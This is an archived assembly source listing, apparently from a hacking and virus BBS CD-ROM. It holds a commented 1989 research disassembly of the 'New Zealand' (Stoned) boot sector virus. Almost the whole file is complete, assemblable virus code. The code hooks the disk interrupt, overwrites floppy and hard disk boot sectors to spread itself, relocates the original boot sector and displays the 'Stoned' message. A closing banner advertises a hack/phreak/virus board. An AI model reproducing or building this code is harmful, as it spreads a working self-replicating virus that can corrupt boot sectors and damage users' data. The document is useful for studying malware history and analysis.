home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / NEWZLND2.ASM < prev    next >
Assembly Source File  |  1992-11-07  |  8KB  |  281 lines

  1.     page    65,132
  2.     title    The 'New Zealand' Virus (Update)
  3. ; ╔══════════════════════════════════════════════════════════════════════════╗
  4. ; ║                 British Computer Virus Research Centre                   ║
  5. ; ║  12 Guildford Street,   Brighton,   East Sussex,   BN1 3LS,   England    ║
  6. ; ║  Telephone:     Domestic   0273-26105,   International  +44-273-26105    ║
  7. ; ║                                                                          ║
  8. ; ║                     The 'New Zealand' Virus (Update)                     ║
  9. ; ║                Disassembled by Joe Hirst,      March 1989                ║
  10. ; ║                                                                          ║
  11. ; ║                      Copyright (c) Joe Hirst 1989.                       ║
  12. ; ║                                                                          ║
  13. ; ║      This listing is only to be made available to virus researchers      ║
  14. ; ║                or software writers on a need-to-know basis.              ║
  15. ; ╚══════════════════════════════════════════════════════════════════════════╝
  16.  
  17.     ; This disassembly is derived from an inconsistently updated 
  18.     ; assembler version which arrived in this country with the original
  19.     ; executable program.
  20.  
  21.     ; The virus consists of a boot sector only.  The original boot sector
  22.     ; is kept at track zero, head one, sector three on a floppy disk, or
  23.     ; track zero, head zero, sector seven on a hard disk.
  24.  
  25.     ; The program requires an origin address of 7C00H, as it is designed
  26.     ; to load and run as a boot sector.
  27.  
  28. RAM    SEGMENT AT 0
  29.  
  30.     ; System data
  31.  
  32.     ORG    4CH
  33. BW004C    DW    ?            ; Interrupt 19 (13H) offset
  34. BW004E    DW    ?            ; Interrupt 19 (13H) segment
  35.     ORG    413H
  36. BW0413    DW    ?            ; Total RAM size
  37.     ORG    43FH
  38. BB043F    DB    ?            ; Drive Motor Flag
  39.     ORG    46CH
  40. BB046C    DB    ?            ; System clock
  41.  
  42.     ORG    7C0AH
  43. I13_OF    DW    ?
  44. I13_SG    DW    ?
  45. HICOOF    DW    ?
  46. HICOSG    DW    ?            ; High core segment
  47.  
  48. RAM    ENDS
  49.  
  50. CODE    SEGMENT BYTE PUBLIC 'CODE'
  51.     ASSUME CS:CODE,DS:RAM
  52.  
  53. START:    DB    0EAH            ; Far jump to next byte
  54.     DW    BP0010, 07C0H
  55.  
  56. BP0010:    JMP    BP0110
  57.  
  58. DRIVEN    DB    0            ; Drive number (A=0, B=1, C=2)
  59.  
  60. ;        Original Int 13H address
  61.  
  62. INT_13    EQU    THIS DWORD
  63.     DW    ?
  64.     DW    ?
  65.  
  66. ;        Branch address in high core
  67.  
  68. HIGHCO    EQU    THIS DWORD
  69.     DW    BP0120
  70.     DW    0
  71.  
  72. ;        Boot sector processing address
  73.  
  74. BOOTST    EQU    THIS DWORD
  75.     DW    07C00H
  76.     DW    0
  77.  
  78. ;        Interrupt 13H disk I/O routine
  79.  
  80. BP0020:    PUSH    DS
  81.     PUSH    AX
  82.     CMP    AH,2            ; Sub-function 2
  83.     JB    BP0030            ; Pass on if below
  84.     CMP    AH,4            ; Sub-function 4
  85.     JNB    BP0030            ; Pass on if not below
  86.     OR    DL,DL            ; Is drive A
  87.     JNZ    BP0030            ; Pass on if not
  88.     XOR    AX,AX            ; \ Segment zero
  89.     MOV    DS,AX            ; /
  90.     MOV    AL,BB043F        ; Get motor timeout counter
  91.     TEST    AL,1            ; Is drive zero running
  92.     JNZ    BP0030            ; Branch if not
  93.     CALL    BP0040            ; Call infection routine
  94. BP0030:    POP    AX
  95.     POP    DS
  96.     JMP    INT_13            ; Pass control to Int 13H
  97.  
  98. ;        Infection routine
  99.  
  100. BP0040:    PUSH    BX
  101.     PUSH    CX
  102.     PUSH    DX
  103.     PUSH    ES
  104.     PUSH    SI
  105.     PUSH    DI
  106.     MOV    SI,4            ; Retry count
  107. BP0050:    MOV    AX,201H            ; Read one sector
  108.     PUSH    CS            ; \ Set ES to CS
  109.     POP    ES            ; /
  110.     MOV    BX,200H            ; Boot sector buffer
  111.     XOR    CX,CX            ; Clear register
  112.     MOV    DX,CX            ; Head zero, drive A
  113.     INC    CX            ; Track zero, sector 1
  114.     PUSHF                ; Fake an interrupt
  115.     CALL    INT_13            ; Call Int 13H
  116.     JNB    BP0060            ; Branch if no error
  117.     XOR    AX,AX            ; Reset disk sub-system
  118.     PUSHF                ; Fake an interrupt
  119.     CALL    INT_13            ; Call Int 13H
  120.     DEC    SI            ; Decrement retry count
  121.     JNZ    BP0050            ; Retry
  122.     JMP    BP0080            ; No more retries
  123.  
  124. BP0060:    XOR    SI,SI            ; Start of program
  125.     MOV    DI,200H            ; Boot sector buffer
  126.     CLD
  127.     PUSH    CS            ; \ Set DS to CS
  128.     POP    DS            ; /
  129.     LODSW                ; Get first word
  130.     CMP    AX,[DI]            ; Test if same
  131.     JNE    BP0070            ; Install if not
  132.     LODSW                ; Get second word
  133.     CMP    AX,[DI+2]        ; Test if same
  134.     JE    BP0080            ; Branch if same
  135. BP0070:    MOV    AX,301H            ; Write one sector
  136.     MOV    BX,200H            ; Boot sector buffer
  137.     MOV    CL,3            ; Sector 3
  138.     MOV    DH,1            ; Head 1
  139.     PUSHF                ; Fake an interrupt
  140.     CALL    INT_13            ; Call Int 13H
  141.     JB    BP0080            ; Branch if error
  142.     MOV    AX,301H            ; Write one sector
  143.     XOR    BX,BX            ; This sector
  144.     MOV    CL,1            ; Track zero, sector 1
  145.     XOR    DX,DX            ; Head zero, drive A
  146.     PUSHF                ; Fake an interrupt
  147.     CALL    INT_13            ; Call Int 13H
  148. BP0080:    POP    DI
  149.     POP    SI
  150.     POP    ES
  151.     POP    DX
  152.     POP    CX
  153.     POP    BX
  154.     RET
  155.  
  156. ;        Install in high core
  157.  
  158. BP0110:    XOR    AX,AX            ; \ Segment zero
  159.     MOV    DS,AX            ; /
  160.     CLI
  161.     MOV    SS,AX            ; \ Set stack to boot sector area
  162.     MOV    SP,7C00H        ; /
  163.     STI
  164.     MOV    AX,BW004C        ; Get Int 13H offset
  165.     MOV    I13_OF,AX        ; Store in jump offset
  166.     MOV    AX,BW004E        ; Get Int 13H segment
  167.     MOV    I13_SG,AX        ; Store in jump segment
  168.     MOV    AX,BW0413        ; Get total RAM size
  169.     DEC    AX            ; \ Subtract 2k
  170.     DEC    AX            ; /
  171.     MOV    BW0413,AX        ; Replace total RAM size
  172.     MOV    CL,6            ; Bits to move
  173.     SHL    AX,CL            ; Convert to Segment
  174.     MOV    ES,AX            ; Set ES to segment
  175.     MOV    HICOSG,AX        ; Move segment to jump address
  176.     MOV    AX,OFFSET BP0020    ; Get Int 13H routine address
  177.     MOV    BW004C,AX        ; Set new Int 13H offset
  178.     MOV    BW004E,ES        ; Set new Int 13H segment
  179.     MOV    CX,OFFSET ENDADR    ; Load length of program
  180.     PUSH    CS            ; \ Set DS to CS
  181.     POP    DS            ; /
  182.     XOR    SI,SI            ; \ Set pointers to zero
  183.     MOV    DI,SI            ; /
  184.     CLD
  185.     REP    MOVSB            ; Copy program to high core
  186.     JMP    HIGHCO            ; Branch to next instruc in high core
  187.  
  188. ;        Continue processing in high core
  189.  
  190. BP0120:    MOV    AX,0            ; Reset disk sub-system
  191.     INT    13H            ; Disk I/O
  192.     XOR    AX,AX            ; \ Segment zero
  193.     MOV    ES,AX            ; /
  194.     ASSUME    DS:NOTHING,ES:RAM
  195.     MOV    AX,201H            ; Read one sector
  196.     MOV    BX,7C00H        ; Boot sector buffer address
  197.     CMP    DRIVEN,0        ; Test drive is A
  198.     JE    BP0130            ; Branch if yes
  199.     MOV    CX,7            ; Track zero, sector 7
  200.     MOV    DX,80H            ; Side zero, drive C
  201.     INT    13H            ; Disk I/O
  202.     JMP    BP0150            ; Pass control to boot sector
  203.  
  204. ;        Floppy disk
  205.  
  206. BP0130:    MOV    CX,3            ; Track zero, sector 3
  207.     MOV    DX,100H            ; Side one, drive A
  208.     INT    13H            ; Disk I/O
  209.     JB    BP0150            ; Branch if error
  210.     TEST    BB046C,7        ; Test low byte of time
  211.     JNZ    BP0140            ; Branch if not 7
  212.     MOV    SI,OFFSET MESSAGE    ; Load message address
  213.     PUSH    CS            ; \ Set DS to CS
  214.     POP    DS            ; /
  215. BP0135:    LODSB                ; Get next byte of message
  216.     OR    AL,AL            ; Is it zero
  217.     JZ    BP0140            ; Branch if yes
  218.     MOV    AH,0EH            ; Write TTY mode
  219.     MOV    BH,0
  220.     INT    10H            ; VDU I/O
  221.     JMP    BP0135            ; Process next byte
  222.  
  223. BP0140:    PUSH    CS            ; \ Set ES to CS
  224.     POP    ES            ; /
  225.     MOV    AX,201H            ; Read one sector
  226.     MOV    BX,200H            ; C-disk boot sector buffer
  227.     MOV    CL,1            ; Sector 1
  228.     MOV    DX,80H            ; Side zero, drive C
  229.     INT    13H            ; Disk I/O
  230.     JB    BP0150            ; Branch if error
  231.     PUSH    CS            ; \ Set DS to CS
  232.     POP    DS            ; /
  233.     MOV    SI,200H            ; C-disk boot sector buffer
  234.     MOV    DI,0            ; Start of program
  235.     LODSW                ; Get first word
  236.     CMP    AX,[DI]            ; Compare to C-disk
  237.     JNE    BP0160            ; Install on C-disk if different
  238.     LODSW                ; Get second word
  239.     CMP    AX,[DI+2]        ; Compare to C-disk
  240.     JNE    BP0160            ; Install on C-disk if different
  241. BP0150:    MOV    DRIVEN,0        ; Drive A
  242.     JMP    BOOTST            ; Pass control to boot sector
  243.  
  244. ;        Install on C-disk
  245.  
  246. BP0160:    MOV    DRIVEN,2        ; Drive C
  247.     MOV    AX,301H            ; Write one sector
  248.     MOV    BX,200H            ; C-disk boot sector buffer
  249.     MOV    CX,7            ; Track zero, sector 7
  250.     MOV    DX,80H            ; side zero, drive C
  251.     INT    13H            ; Disk I/O
  252.     JB    BP0150            ; Branch if error
  253.     PUSH    CS            ; \ Set DS to CS
  254.     POP    DS            ; /
  255.     PUSH    CS            ; \ Set ES to CS
  256.     POP    ES            ; /
  257.     MOV    SI,OFFSET MESS02+200H    ; Target offset
  258.     MOV    DI,OFFSET MESS02    ; Source offset
  259.     MOV    CX,OFFSET 400H-MESS02    ; Length to move
  260.     REP    MOVSB            ; Copy C-disk boot sector
  261.     MOV    AX,301H            ; Write one sector
  262.     XOR    BX,BX            ; Write this sector
  263.     INC    CL            ; Track zero, sector 1
  264.     MOV    DX,80H            ; Side zero, drive C
  265.     INT    13H            ; Disk I/O
  266.     JMP    BP0150            ; Pass control to boot sector
  267.  
  268. MESSAGE    DB    7, 'Your PC is now Stoned!', 7, 0DH, 0AH, 0AH, 0
  269. MESS02    DB    'LEGALISE MARIJUANA!'
  270. ENDADR    EQU    $
  271.  
  272. CODE    ENDS
  273.  
  274.     END    START
  275. 
  276. ; ─────────────────────────────────────────────────────────────────────────
  277. ; ────────────────────> and Remember Don't Forget to Call <────────────────
  278. ; ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
  279. ; ─────────────────────────────────────────────────────────────────────────
  280.  
  281.